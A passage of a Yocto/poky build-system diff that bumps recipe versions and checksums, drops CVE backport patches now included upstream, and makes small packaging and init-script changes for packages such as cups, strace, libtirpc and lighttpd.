-Upstream-Status: Backport [https://gitlab.com/qemu-project/qemu/-/commit/7cfcc79b0ab800959716738aff9419f53fc68c9c]
-
-Signed-off-by: Yogita Urade <yogita.urade@windriver.com>
----
- hw/scsi/scsi-disk.c | 5 +++--
- 1 file changed, 3 insertions(+), 2 deletions(-)
-
-diff --git a/hw/scsi/scsi-disk.c b/hw/scsi/scsi-disk.c
-index e0d79c796..477ee2bcd 100644
---- a/hw/scsi/scsi-disk.c
-+++ b/hw/scsi/scsi-disk.c
-@@ -1628,9 +1628,10 @@ static void scsi_disk_emulate_mode_select(SCSIDiskReq *r, uint8_t *inbuf)
- * Since the existing code only checks/updates bits 8-15 of the block
- * size, restrict ourselves to the same requirement for now to ensure
- * that a block size set by a block descriptor and then read back by
-- * a subsequent SCSI command will be the same
-+ * a subsequent SCSI command will be the same. Also disallow a block
-+ * size of 256 since we cannot handle anything below BDRV_SECTOR_SIZE.
- */
-- if (bs && !(bs & ~0xff00) && bs != s->qdev.blocksize) {
-+ if (bs && !(bs & ~0xfe00) && bs != s->qdev.blocksize) {
- s->qdev.blocksize = bs;
- trace_scsi_disk_mode_select_set_blocksize(s->qdev.blocksize);
- }
---
-2.40.0
diff --git a/poky/meta/recipes-devtools/qemu/qemu_8.1.0.bb b/poky/meta/recipes-devtools/qemu/qemu_8.1.2.bb
index 84ee0bcc49..84ee0bcc49 100644
--- a/poky/meta/recipes-devtools/qemu/qemu_8.1.0.bb
+++ b/poky/meta/recipes-devtools/qemu/qemu_8.1.2.bb
diff --git a/poky/meta/recipes-devtools/repo/repo_2.36.1.bb b/poky/meta/recipes-devtools/repo/repo_2.37.bb
index a3b43439f2..d6d3d03a62 100644
--- a/poky/meta/recipes-devtools/repo/repo_2.36.1.bb
+++ b/poky/meta/recipes-devtools/repo/repo_2.37.bb
@@ -12,7 +12,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
SRC_URI = "git://gerrit.googlesource.com/git-repo.git;protocol=https;branch=main \
file://0001-python3-shebang.patch \
"
-SRCREV = "1e9f7b9e9ef473305d10a26a48138bc6ad38ccf6"
+SRCREV = "83c66ec661e39e47795086a5d26d0f3782ac1d49"
MIRRORS += "git://gerrit.googlesource.com/git-repo.git git://github.com/GerritCodeReview/git-repo.git"
diff --git a/poky/meta/recipes-devtools/rust/cargo_1.70.0.bb b/poky/meta/recipes-devtools/rust/cargo_1.70.0.bb
index a5c1064106..50b7e7c7b4 100644
--- a/poky/meta/recipes-devtools/rust/cargo_1.70.0.bb
+++ b/poky/meta/recipes-devtools/rust/cargo_1.70.0.bb
@@ -19,7 +19,7 @@ CARGO_VENDORING_DIRECTORY = "${RUSTSRC}/vendor"
inherit cargo pkgconfig
-DEBUG_PREFIX_MAP += "-fdebug-prefix-map=${RUSTSRC}/vendor=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}"
+DEBUG_PREFIX_MAP += "-fdebug-prefix-map=${RUSTSRC}/vendor=${TARGET_DBGSRC_DIR}"
do_cargo_setup_snapshot () {
${WORKDIR}/rust-snapshot-components/${CARGO_SNAPSHOT}/install.sh --prefix="${WORKDIR}/${CARGO_SNAPSHOT}" --disable-ldconfig
diff --git a/poky/meta/recipes-devtools/rust/rust-cross-canadian.inc b/poky/meta/recipes-devtools/rust/rust-cross-canadian.inc
index d569ac59f5..7bfef6d175 100644
--- a/poky/meta/recipes-devtools/rust/rust-cross-canadian.inc
+++ b/poky/meta/recipes-devtools/rust/rust-cross-canadian.inc
@@ -54,8 +54,13 @@ do_install () {
mkdir "${ENV_SETUP_DIR}"
RUST_ENV_SETUP_SH="${ENV_SETUP_DIR}/rust.sh"
+ RUST_TARGET_TRIPLE=`echo ${RUST_TARGET_SYS} | tr '[:lower:]' '[:upper:]' | sed 's/-/_/g'`
+ RUST_HOST_TRIPLE=`echo ${RUST_HOST_SYS} | tr '[:lower:]' '[:upper:]' | sed 's/-/_/g'`
+ SDKLOADER=${@bb.utils.contains('SDK_ARCH', 'x86_64', 'ld-linux-x86-64.so.2', '', d)}${@bb.utils.contains('SDK_ARCH', 'i686', 'ld-linux.so.2', '', d)}${@bb.utils.contains('SDK_ARCH', 'aarch64', 'ld-linux-aarch64.so.1', '', d)}${@bb.utils.contains('SDK_ARCH', 'ppc64le', 'ld64.so.2', '', d)}${@bb.utils.contains('SDK_ARCH', 'riscv64', 'ld-linux-riscv64-lp64d.so.1', '', d)}
+
cat <<- EOF > "${RUST_ENV_SETUP_SH}"
- export RUSTFLAGS="--sysroot=\$OECORE_TARGET_SYSROOT/usr -C link-arg=--sysroot=\$OECORE_TARGET_SYSROOT"
+ export CARGO_TARGET_${RUST_TARGET_TRIPLE}_RUSTFLAGS="--sysroot=\$OECORE_TARGET_SYSROOT/usr -C link-arg=--sysroot=\$OECORE_TARGET_SYSROOT"
+ export CARGO_TARGET_${RUST_HOST_TRIPLE}_RUNNER="\$OECORE_NATIVE_SYSROOT/lib/${SDKLOADER}"
export RUST_TARGET_PATH="\$OECORE_NATIVE_SYSROOT/usr/lib/${TARGET_SYS}/rustlib"
EOF
diff --git a/poky/meta/recipes-devtools/rust/rust-llvm_1.70.0.bb b/poky/meta/recipes-devtools/rust/rust-llvm_1.70.0.bb
index 09e4c65be3..57bbe79cdf 100644
--- a/poky/meta/recipes-devtools/rust/rust-llvm_1.70.0.bb
+++ b/poky/meta/recipes-devtools/rust/rust-llvm_1.70.0.bb
@@ -16,7 +16,7 @@ S = "${RUSTSRC}/src/llvm-project/llvm"
LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=8a15a0759ef07f2682d2ba4b893c9afe"
-inherit cmake python3native
+inherit cmake
DEPENDS += "ninja-native rust-llvm-native"
@@ -47,6 +47,15 @@ EXTRA_OECMAKE = " \
-DLLVM_TARGET_ARCH=${TARGET_ARCH} \
-DCMAKE_INSTALL_PREFIX:PATH=${libdir}/llvm-rust \
"
+
+# Forcibly disable the detection of these packages as otherwise
+# it will look at the host Python install
+EXTRA_OECMAKE += "\
+ -DPY_PYGMENTS_FOUND=OFF \
+ -DPY_PYGMENTS_LEXERS_C_CPP_FOUND=OFF \
+ -DPY_YAML_FOUND=OFF \
+"
+
EXTRA_OECMAKE:append:class-target = "\
-DLLVM_BUILD_TOOLS=OFF \
-DLLVM_TABLEGEN=${STAGING_LIBDIR_NATIVE}/llvm-rust/bin/llvm-tblgen \
diff --git a/poky/meta/recipes-devtools/strace/strace/ptest-spacesave.patch b/poky/meta/recipes-devtools/strace/strace/ptest-spacesave.patch
index c5d8ff9207..4e86ccadc5 100644
--- a/poky/meta/recipes-devtools/strace/strace/ptest-spacesave.patch
+++ b/poky/meta/recipes-devtools/strace/strace/ptest-spacesave.patch
@@ -22,7 +22,7 @@ index 3540204..5e1e7c9 100755
$hdr
. "\${srcdir=.}/init.sh"
run_strace_match_diff $arg0 $args
-+ rm -rf log exp
++ rm -rf log exp out
EOF
;;
diff --git a/poky/meta/recipes-devtools/strace/strace/skip-test-so_peerpidfd.gen.test.patch b/poky/meta/recipes-devtools/strace/strace/skip-test-so_peerpidfd.gen.test.patch
deleted file mode 100644
index 5c73e1f10e..0000000000
--- a/poky/meta/recipes-devtools/strace/strace/skip-test-so_peerpidfd.gen.test.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-From 002d9f2512245536dfc8d62db429d97e2216ec3a Mon Sep 17 00:00:00 2001
-From: Randy MacLeod <Randy.MacLeod@windriver.com>
-Date: Fri, 6 Oct 2023 12:08:23 -0700
-Subject: [PATCH] skip tests/so_peerpidfd.gen.test
-
-Upstream-Status: Inappropriate
-
-Signed-off-by: Randy MacLeod <Randy.MacLeod@windriver.com>
----
- tests/so_peerpidfd.gen.test | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/tests/so_peerpidfd.gen.test b/tests/so_peerpidfd.gen.test
-index 64ad3a2..f89da9f 100755
---- a/tests/so_peerpidfd.gen.test
-+++ b/tests/so_peerpidfd.gen.test
-@@ -1,4 +1,5 @@
- #!/bin/sh -efu
- # Generated by ./tests/gen_tests.sh from ./tests/gen_tests.in (so_peerpidfd --trace=getsockopt -y); do not edit.
- . "${srcdir=.}/init.sh"
-+skip_ "Test fails due to apparently trivial log format differences"
- run_strace_match_diff --trace=getsockopt -y
---
-2.39.0
-
diff --git a/poky/meta/recipes-devtools/strace/strace_6.5.bb b/poky/meta/recipes-devtools/strace/strace_6.6.bb
index d6475e8db9..a3de7941cf 100644
--- a/poky/meta/recipes-devtools/strace/strace_6.5.bb
+++ b/poky/meta/recipes-devtools/strace/strace_6.6.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "http://strace.io"
DESCRIPTION = "strace is a diagnostic, debugging and instructional userspace utility for Linux. It is used to monitor and tamper with interactions between processes and the Linux kernel, which include system calls, signal deliveries, and changes of process state."
SECTION = "console/utils"
LICENSE = "LGPL-2.1-or-later & GPL-2.0-or-later"
-LIC_FILES_CHKSUM = "file://COPYING;md5=59a33f0a3e6122d67c0b3befccbdaa6b"
+LIC_FILES_CHKSUM = "file://COPYING;md5=63c8c3eb5c71b4362edac1397f40bdc7"
SRC_URI = "https://strace.io/files/${PV}/strace-${PV}.tar.xz \
file://update-gawk-paths.patch \
@@ -14,9 +14,8 @@ SRC_URI = "https://strace.io/files/${PV}/strace-${PV}.tar.xz \
file://skip-load.patch \
file://0001-configure-Use-autoconf-macro-to-detect-largefile-sup.patch \
file://0002-tests-Replace-off64_t-with-off_t.patch \
- file://skip-test-so_peerpidfd.gen.test.patch \
"
-SRC_URI[sha256sum] = "dfb051702389e1979a151892b5901afc9e93bbc1c70d84c906ade3224ca91980"
+SRC_URI[sha256sum] = "421b4186c06b705163e64dc85f271ebdcf67660af8667283147d5e859fc8a96c"
inherit autotools ptest
diff --git a/poky/meta/recipes-devtools/valgrind/valgrind_3.21.0.bb b/poky/meta/recipes-devtools/valgrind/valgrind_3.21.0.bb
index 717d82830e..67a197c509 100644
--- a/poky/meta/recipes-devtools/valgrind/valgrind_3.21.0.bb
+++ b/poky/meta/recipes-devtools/valgrind/valgrind_3.21.0.bb
@@ -92,6 +92,18 @@ CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl'"
# which fixes build path issue in DWARF.
SELECTED_OPTIMIZATION = "${DEBUG_FLAGS}"
+# Split out various helper scripts to separate packages to avoid the
+# main package depending on perl and python.
+PACKAGES =+ "${PN}-cachegrind ${PN}-massif ${PN}-callgrind"
+
+FILES:${PN}-cachegrind = "${bindir}/cg_*"
+FILES:${PN}-massif = "${bindir}/ms_*"
+FILES:${PN}-callgrind = "${bindir}/callgrind_*"
+
+RDEPENDS:${PN}-cachegrind = "${PN} python3-core"
+RDEPENDS:${PN}-massif = "${PN} perl"
+RDEPENDS:${PN}-callgrind = "${PN} perl"
+
do_configure:prepend () {
rm -rf ${S}/config.h
sed -i -e 's:$(abs_top_builddir):$(pkglibdir)/ptest:g' ${S}/none/tests/Makefile.am
@@ -116,8 +128,6 @@ VALGRINDARCH:powerpc64le = "ppc64le"
INHIBIT_PACKAGE_STRIP_FILES = "${PKGD}${libexecdir}/valgrind/vgpreload_memcheck-${VALGRINDARCH}-linux.so"
-RDEPENDS:${PN} += "perl"
-
# valgrind needs debug information for ld.so at runtime in order to
# redirect functions like strlen.
RRECOMMENDS:${PN} += "${TCLIBC}-dbg"
@@ -229,8 +239,8 @@ do_install_ptest() {
# As the binary isn't stripped or debug-splitted, the source file isn't fetched
# via dwarfsrcfiles either, so it needs to be installed manually.
- mkdir -p ${D}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/none/tests/
- install ${S}/none/tests/tls.c ${D}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/none/tests/
+ mkdir -p ${D}${TARGET_DBGSRC_DIR}/none/tests/
+ install ${S}/none/tests/tls.c ${D}${TARGET_DBGSRC_DIR}/none/tests/
}
do_install_ptest:append:x86-64 () {
diff --git a/poky/meta/recipes-extended/acpica/acpica_20230628.bb b/poky/meta/recipes-extended/acpica/acpica_20230628.bb
index 3b939ad665..8974bdc1f1 100644
--- a/poky/meta/recipes-extended/acpica/acpica_20230628.bb
+++ b/poky/meta/recipes-extended/acpica/acpica_20230628.bb
@@ -36,7 +36,7 @@ EXTRA_OEMAKE = "CC='${CC}' \
INSTALLDIR=${bindir} \
INSTALLFLAGS= \
YACC=bison \
- YFLAGS='-y --file-prefix-map=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}' \
+ YFLAGS='-y --file-prefix-map=${WORKDIR}=${TARGET_DBGSRC_DIR}' \
"
do_install() {
@@ -49,4 +49,4 @@ RPROVIDES:${PN} += "iasl"
RREPLACES:${PN} += "iasl"
RCONFLICTS:${PN} += "iasl"
-BBCLASSEXTEND = "native"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/poky/meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb b/poky/meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb
index fde75ec2fd..6832ccc541 100644
--- a/poky/meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb
+++ b/poky/meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb
@@ -4,7 +4,7 @@ DESCRIPTION = "These are introductory examples to showcase the use of QEMU to ru
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=39346640a23c701e4f459e05f56f4449"
-SRCREV = "fc7c43d138185028b6ac14c83f6492fce26eca95"
+SRCREV = "db2bf750eaef7fc0832e13ada8291343bbcc3afe"
PV = "0.1+git"
SRC_URI = "git://github.com/ahcbb6/baremetal-helloqemu.git;protocol=https;branch=master"
diff --git a/poky/meta/recipes-extended/bash/bash_5.2.15.bb b/poky/meta/recipes-extended/bash/bash_5.2.21.bb
index f78f79fcc5..6df73b653b 100644
--- a/poky/meta/recipes-extended/bash/bash_5.2.15.bb
+++ b/poky/meta/recipes-extended/bash/bash_5.2.21.bb
@@ -14,7 +14,7 @@ SRC_URI = "${GNU_MIRROR}/bash/${BP}.tar.gz;name=tarball \
file://use_aclocal.patch \
"
-SRC_URI[tarball.sha256sum] = "13720965b5f4fc3a0d4b61dd37e7565c741da9a5be24edc2ae00182fc1b3588c"
+SRC_URI[tarball.sha256sum] = "c8e31bdc59b69aaffc5b36509905ba3e5cbb12747091d27b4b977f078560d5b8"
DEBUG_OPTIMIZATION:append:armv4 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
DEBUG_OPTIMIZATION:append:armv5 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
diff --git a/poky/meta/recipes-extended/cronie/cronie_1.6.1.bb b/poky/meta/recipes-extended/cronie/cronie_1.7.0.bb
index 1b31bf0db2..24c419b1c5 100644
--- a/poky/meta/recipes-extended/cronie/cronie_1.6.1.bb
+++ b/poky/meta/recipes-extended/cronie/cronie_1.7.0.bb
@@ -25,7 +25,7 @@ SRC_URI = "${GITHUB_BASE_URI}/download/cronie-${PV}/cronie-${PV}.tar.gz \
PAM_SRC_URI = "file://crond_pam_config.patch"
PAM_DEPS = "libpam libpam-runtime pam-plugin-access pam-plugin-loginuid"
-SRC_URI[sha256sum] = "2cd0f0dd1680e6b9c39bf1e3a5e7ad6df76aa940de1ee90a453633aa59984e62"
+SRC_URI[sha256sum] = "6827f5a47760cc64afeef0a60d3cb5376f52569109fc9a73957dd5e9fdae7619"
inherit autotools update-rc.d useradd systemd github-releases
UPSTREAM_CHECK_REGEX = "releases/tag/cronie-(?P<pver>\d+(\.\d+)+)"
diff --git a/poky/meta/recipes-extended/cups/cups.inc b/poky/meta/recipes-extended/cups/cups.inc
index fa32c38549..ff5f55e62a 100644
--- a/poky/meta/recipes-extended/cups/cups.inc
+++ b/poky/meta/recipes-extended/cups/cups.inc
@@ -15,7 +15,6 @@ SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/cups-${PV}-source.tar.gz \
file://0004-cups-fix-multilib-install-file-conflicts.patch \
file://volatiles.99_cups \
file://cups-volatiles.conf \
- file://CVE-2023-4504.patch \
"
GITHUB_BASE_URI = "https://github.com/OpenPrinting/cups/releases"
@@ -38,10 +37,13 @@ GROUPADD_PARAM:${PN} = "--system lpadmin"
SYSTEMD_SERVICE:${PN} = "cups.socket cups.path cups.service cups-lpd.socket"
PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'zeroconf', 'avahi', '', d)} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'pam systemd', d)}"
+ ${@bb.utils.filter('DISTRO_FEATURES', 'pam systemd', d)} \
+ openssl \
+"
PACKAGECONFIG[avahi] = "--with-dnssd=avahi,--with-dnssd=no,avahi"
PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl"
-PACKAGECONFIG[gnutls] = "--with-tls=gnutls,--with-tls=no,gnutls"
+PACKAGECONFIG[gnutls] = "--with-tls=gnutls,,gnutls,,,openssl"
+PACKAGECONFIG[openssl] = "--with-tls=openssl,,openssl,,,gnutls"
PACKAGECONFIG[pam] = "--enable-pam --with-pam-module=unix, --disable-pam, libpam"
PACKAGECONFIG[systemd] = "--with-systemd=${systemd_system_unitdir},--without-systemd,systemd"
PACKAGECONFIG[xinetd] = "--with-xinetd=${sysconfdir}/xinetd.d,--without-xinetd,xinetd"
diff --git a/poky/meta/recipes-extended/cups/cups/CVE-2023-4504.patch b/poky/meta/recipes-extended/cups/cups/CVE-2023-4504.patch
deleted file mode 100644
index e52e43a209..0000000000
--- a/poky/meta/recipes-extended/cups/cups/CVE-2023-4504.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-CVE: CVE-2023-4504
-Upstream-Status: Backport [https://github.com/OpenPrinting/cups/commit/2431caddb7e6a87f04ac90b5c6366ad268b6ff31 ]
-Signed-off-by: Lee Chee Yang <chee.yang.lee@intel.com>
-
-From 2431caddb7e6a87f04ac90b5c6366ad268b6ff31 Mon Sep 17 00:00:00 2001
-From: Zdenek Dohnal <zdohnal@redhat.com>
-Date: Wed, 20 Sep 2023 14:45:17 +0200
-Subject: [PATCH] raster-interpret.c: Fix CVE-2023-4504
-
-We didn't check for end of buffer if it looks there is an escaped
-character - check for NULL terminator there and if found, return NULL
-as return value and in `ptr`, because a lone backslash is not
-a valid PostScript character.
----
- cups/raster-interpret.c | 14 +++++++++++++-
- 1 files changed, 13 insertions(+), 1 deletion(-)
-
-diff --git a/cups/raster-interpret.c b/cups/raster-interpret.c
-index 6fcf731b5..b8655c8c6 100644
---- a/cups/raster-interpret.c
-+++ b/cups/raster-interpret.c
-@@ -1116,7 +1116,19 @@ scan_ps(_cups_ps_stack_t *st, /* I - Stack */
-
- cur ++;
-
-- if (*cur == 'b')
-+ /*
-+ * Return NULL if we reached NULL terminator, a lone backslash
-+ * is not a valid character in PostScript.
-+ */
-+
-+ if (!*cur)
-+ {
-+ *ptr = NULL;
-+
-+ return (NULL);
-+ }
-+
-+ if (*cur == 'b')
- *valptr++ = '\b';
- else if (*cur == 'f')
- *valptr++ = '\f';
diff --git a/poky/meta/recipes-extended/cups/cups_2.4.6.bb b/poky/meta/recipes-extended/cups/cups_2.4.7.bb
index 58029fdbd4..f4b0282e4c 100644
--- a/poky/meta/recipes-extended/cups/cups_2.4.6.bb
+++ b/poky/meta/recipes-extended/cups/cups_2.4.7.bb
@@ -2,4 +2,4 @@ require cups.inc
LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
-SRC_URI[sha256sum] = "58e970cf1955e1cc87d0847c32526d9c2ccee335e5f0e3882b283138ba0e7262"
+SRC_URI[sha256sum] = "dd54228dd903526428ce7e37961afaed230ad310788141da75cebaa08362cf6c"
diff --git a/poky/meta/recipes-extended/ghostscript/ghostscript_10.02.0.bb b/poky/meta/recipes-extended/ghostscript/ghostscript_10.02.1.bb
index 4bad0f86e1..2a966afc21 100644
--- a/poky/meta/recipes-extended/ghostscript/ghostscript_10.02.0.bb
+++ b/poky/meta/recipes-extended/ghostscript/ghostscript_10.02.1.bb
@@ -28,7 +28,7 @@ SRC_URI = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/downlo
file://configure.ac-add-option-to-explicitly-disable-neon.patch \
"
-SRC_URI[sha256sum] = "e54062f166708d84ca82de9f8304a04344466080f936118b88082bd55ed6dc97"
+SRC_URI[sha256sum] = "e429e4f5b01615a4f0f93a4128e8a1a4d932dff983b1774174c79c0630717ad9"
PACKAGECONFIG ??= ""
PACKAGECONFIG[gtk] = "--enable-gtk,--disable-gtk,gtk+3"
@@ -60,7 +60,8 @@ prune_sources() {
do_unpack[postfuncs] += "prune_sources"
do_install:append () {
- mkdir -p ${D}${datadir}/ghostscript/${PV}/
+ oe_runmake DESTDIR=${D} install-so
+ oe_runmake DESTDIR=${D} install-data
cp -r ${S}/Resource ${D}${datadir}/ghostscript/${PV}/
cp -r ${S}/iccprofiles ${D}${datadir}/ghostscript/${PV}/
}
diff --git a/poky/meta/recipes-extended/libarchive/libarchive_3.7.2.bb b/poky/meta/recipes-extended/libarchive/libarchive_3.7.2.bb
index a09f607fcf..91f521fa4d 100644
--- a/poky/meta/recipes-extended/libarchive/libarchive_3.7.2.bb
+++ b/poky/meta/recipes-extended/libarchive/libarchive_3.7.2.bb
@@ -18,6 +18,7 @@ PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib,"
PACKAGECONFIG[bz2] = "--with-bz2lib,--without-bz2lib,${DEPENDS_BZIP2},"
PACKAGECONFIG[xz] = "--with-lzma,--without-lzma,xz,"
PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl,"
+PACKAGECONFIG[libb2] = "--with-libb2,--without-libb2,libb2,"
PACKAGECONFIG[libxml2] = "--with-xml2,--without-xml2,libxml2,"
PACKAGECONFIG[expat] = "--with-expat,--without-expat,expat,"
PACKAGECONFIG[lzo] = "--with-lzo2,--without-lzo2,lzo,"
diff --git a/poky/meta/recipes-extended/libnsl/libnsl2_git.bb b/poky/meta/recipes-extended/libnsl/libnsl2_git.bb
index 7919ef9b24..8cc1f7cec3 100644
--- a/poky/meta/recipes-extended/libnsl/libnsl2_git.bb
+++ b/poky/meta/recipes-extended/libnsl/libnsl2_git.bb
@@ -10,9 +10,9 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
SECTION = "libs"
DEPENDS = "libtirpc"
-PV = "2.0.0"
+PV = "2.0.1"
-SRCREV = "82245c0c58add79a8e34ab0917358217a70e5100"
+SRCREV = "d4b22e54b5e6637a69b26eab5faad2a326c9b182"
SRC_URI = "git://github.com/thkukuk/libnsl;branch=master;protocol=https \
"
diff --git a/poky/meta/recipes-extended/libsolv/libsolv_0.7.25.bb b/poky/meta/recipes-extended/libsolv/libsolv_0.7.26.bb
index 69cb3f7996..bae7960138 100644
--- a/poky/meta/recipes-extended/libsolv/libsolv_0.7.25.bb
+++ b/poky/meta/recipes-extended/libsolv/libsolv_0.7.26.bb
@@ -12,7 +12,7 @@ SRC_URI = "git://github.com/openSUSE/libsolv.git;branch=master;protocol=https \
file://0001-utils-Conside-musl-when-wrapping-qsort_r.patch \
"
-SRCREV = "f1be8bf3dcc7dc14d331adbc97f337fa08e641c9"
+SRCREV = "48c985375134d2443eee551613161cadc278af2f"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
diff --git a/poky/meta/recipes-extended/libtirpc/libtirpc/ipv6.patch b/poky/meta/recipes-extended/libtirpc/libtirpc/ipv6.patch
new file mode 100644
index 0000000000..f746f986f4
--- /dev/null
+++ b/poky/meta/recipes-extended/libtirpc/libtirpc/ipv6.patch
@@ -0,0 +1,52 @@
+From 077bbd32e8b7474dc5f153997732e1e6aec7fad6 Mon Sep 17 00:00:00 2001
+Message-Id: <077bbd32e8b7474dc5f153997732e1e6aec7fad6.1697120796.git.joerg.sommer@navimatix.de>
+From: =?UTF-8?q?J=C3=B6rg=20Sommer?= <joerg.sommer@navimatix.de>
+Date: Thu, 12 Oct 2023 16:22:59 +0200
+Subject: [PATCH] netconfig: remove tcp6, udp6 on --disable-ipv6
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+If the configuration for IPv6 is disabled, the netconfig should not contain
+settings for tcp6 and udp6.
+
+The test for the configure option didn't work, because it check the wrong
+variable.
+
+Signed-off-by: Jörg Sommer <joerg.sommer@navimatix.de>
+Upstream-Status: Submitted [libtirpc-devel@lists.sourceforge.net]
+Upstream-Status: Submitted [linux-nfs@vger.kernel.org]
+---
+ configure.ac | 2 +-
+ doc/Makefile.am | 5 +++++
+ 2 files changed, 6 insertions(+), 1 deletion(-)
+
+diff --git a/configure.ac b/configure.ac
+index fe6c517..b687f8d 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -64,7 +64,7 @@ fi
+ AC_ARG_ENABLE(ipv6,
+ [AC_HELP_STRING([--disable-ipv6], [Disable IPv6 support @<:@default=no@:>@])],
+ [],[enable_ipv6=yes])
+-AM_CONDITIONAL(INET6, test "x$disable_ipv6" != xno)
++AM_CONDITIONAL(INET6, test "x$enable_ipv6" != xno)
+ if test "x$enable_ipv6" != xno; then
+ AC_DEFINE(INET6, 1, [Define to 1 if IPv6 is available])
+ fi
+diff --git a/doc/Makefile.am b/doc/Makefile.am
+index d42ab90..b9678f6 100644
+--- a/doc/Makefile.am
++++ b/doc/Makefile.am
+@@ -2,3 +2,8 @@ dist_sysconf_DATA = netconfig bindresvport.blacklist
+
+ CLEANFILES = cscope.* *~
+ DISTCLEANFILES = Makefile.in
++
++if ! INET6
++install-exec-hook:
++ $(SED) -i '/^tcp6\|^udp6/d' "$(DESTDIR)$(sysconfdir)"/netconfig
++endif
+--
+2.34.1
+
diff --git a/poky/meta/recipes-extended/libtirpc/libtirpc_1.3.3.bb b/poky/meta/recipes-extended/libtirpc/libtirpc_1.3.4.bb
index b27c302460..16c7a6007a 100644
--- a/poky/meta/recipes-extended/libtirpc/libtirpc_1.3.3.bb
+++ b/poky/meta/recipes-extended/libtirpc/libtirpc_1.3.4.bb
@@ -9,10 +9,12 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=f835cce8852481e4b2bbbdd23b5e47f3 \
PROVIDES = "virtual/librpc"
-SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.bz2"
+SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.bz2 \
+ file://ipv6.patch \
+"
UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/libtirpc/files/libtirpc/"
UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)/"
-SRC_URI[sha256sum] = "6474e98851d9f6f33871957ddee9714fdcd9d8a5ee9abb5a98d63ea2e60e12f3"
+SRC_URI[sha256sum] = "1e0b0c7231c5fa122e06c0609a76723664d068b0dba3b8219b63e6340b347860"
CVE_STATUS[CVE-2021-46828] = "fixed-version: fixed in 1.3.3rc1 so not present in 1.3.3"
@@ -21,6 +23,11 @@ inherit autotools pkgconfig
PACKAGECONFIG ??= ""
PACKAGECONFIG[gssapi] = "--enable-gssapi,--disable-gssapi,krb5"
+PACKAGECONFIG ??= "\
+ ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
+"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6"
+
do_install:append() {
test -e ${D}${sysconfdir}/netconfig && chown root:root ${D}${sysconfdir}/netconfig
}
diff --git a/poky/meta/recipes-extended/lighttpd/lighttpd/lighttpd b/poky/meta/recipes-extended/lighttpd/lighttpd/lighttpd
index 82fbaa523b..f369dce42c 100644
--- a/poky/meta/recipes-extended/lighttpd/lighttpd/lighttpd
+++ b/poky/meta/recipes-extended/lighttpd/lighttpd/lighttpd
@@ -6,9 +6,14 @@ NAME=lighttpd
DESC="Lighttpd Web Server"
OPTS="-f /etc/lighttpd/lighttpd.conf"
+configtest() {
+ "$DAEMON" $OPTS -tt || exit 1
+}
+
case "$1" in
start)
echo -n "Starting $DESC: "
+ configtest
start-stop-daemon --start -x "$DAEMON" -- $OPTS
echo "$NAME."
;;
@@ -17,16 +22,26 @@ case "$1" in
start-stop-daemon --stop -x "$DAEMON"
echo "$NAME."
;;
- restart|force-reload)
+ restart)
echo -n "Restarting $DESC: "
+ configtest
start-stop-daemon --stop -x "$DAEMON"
sleep 1
start-stop-daemon --start -x "$DAEMON" -- $OPTS
echo "$NAME."
;;
+ reload|force-reload)
+ echo -n "Reloading $DESC: "
+ configtest
+ killall -USR1 "${DAEMON##*/}"
+ echo "$NAME."
+ ;;
+ configtest)
+ configtest
+ ;;
*)
N=/etc/init.d/$NAME
- echo "Usage: $N {start|stop|restart|force-reload}" >&2
+ echo "Usage: $N {start|stop|restart|reload|force-reload|configtest}" >&2
exit 1
;;
esac
diff --git a/poky/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf b/poky/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf
index 6e8402d242..47a6c93349 100644
--- a/poky/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf
+++ b/poky/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf
@@ -16,8 +16,6 @@ server.modules = (
# "mod_redirect",
# "mod_alias",
"mod_access",
-# "mod_cml",
-# "mod_trigger_b4_dl",
# "mod_auth",
# "mod_status",
# "mod_setenv",
@@ -27,11 +25,9 @@ server.modules = (
# "mod_evhost",
# "mod_userdir",
# "mod_cgi",
-# "mod_compress",
# "mod_ssi",
-# "mod_usertrack",
# "mod_expire",
-# "mod_secdownload",
+# "mod_deflate",
# "mod_rrdtool",
